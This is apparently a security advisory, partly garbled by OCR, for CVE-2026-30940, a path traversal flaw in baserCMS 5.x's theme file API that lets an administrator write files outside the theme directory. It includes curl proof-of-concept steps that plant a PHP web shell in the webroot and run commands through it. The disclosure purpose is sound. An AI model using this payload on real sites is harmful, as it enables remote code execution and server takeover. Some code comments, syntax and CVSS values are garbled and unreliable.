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Description

Summary (English)

A path traversal vulnerability exists in the baserCMS 5.x theme file management API
( /baser/api/admin/bc-theme-file/theme_files/add.json ) that allows arbitrary file write.

An authenticated administrator can include ../ sequences inthe path parameter to create a PHP file
in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).
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public function getFullpath(string $theme, string $plugin, string $type, string $p [E]

{
// ...
return $viewPath . $type . DS . $path; // $path A& A XINTLLy
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# 1. O > 3
curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \

-H "Content-Type: application/json" \

-d '{"email":"admin@example.com", "password":"password"}"'

# 2. webshellfER%

curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \

-d '{
"theme": "BcThemeSample",
"plugin": "",
"type": "layout",
"path": "../../../../webroot/",
"base_name": "shell",
"ext": "php",
"contents": "<?php system($_GET[\"cmd\"]),; ?>"
3
# 3. RCE

curl "http://target/shell.php?cmd=id"
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« OWASP Path Traversal: https://owasp.org/www-community/attacks/Path Traversal

« WordPress RCE via Path Traversal (CVE-2019-8943):
https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/

« Jira Path Traversal (CVE-2025-22167): https://nvd.nist.gov/vuln/detail/ CVE-2025-22167
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Severity

7.2110

CVSS v3 base metrics

Attack vector Network
Attack complexity Low
Privileges required High
User interaction None
Scope Unchanged
Confidentiality High
Integrity High
Availability High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:H/UL:N/S:U/C:H/I:H/AH

CVEID

CVE-2026-30940

Weaknesses

» CWE-22
» CWE-73

Credits
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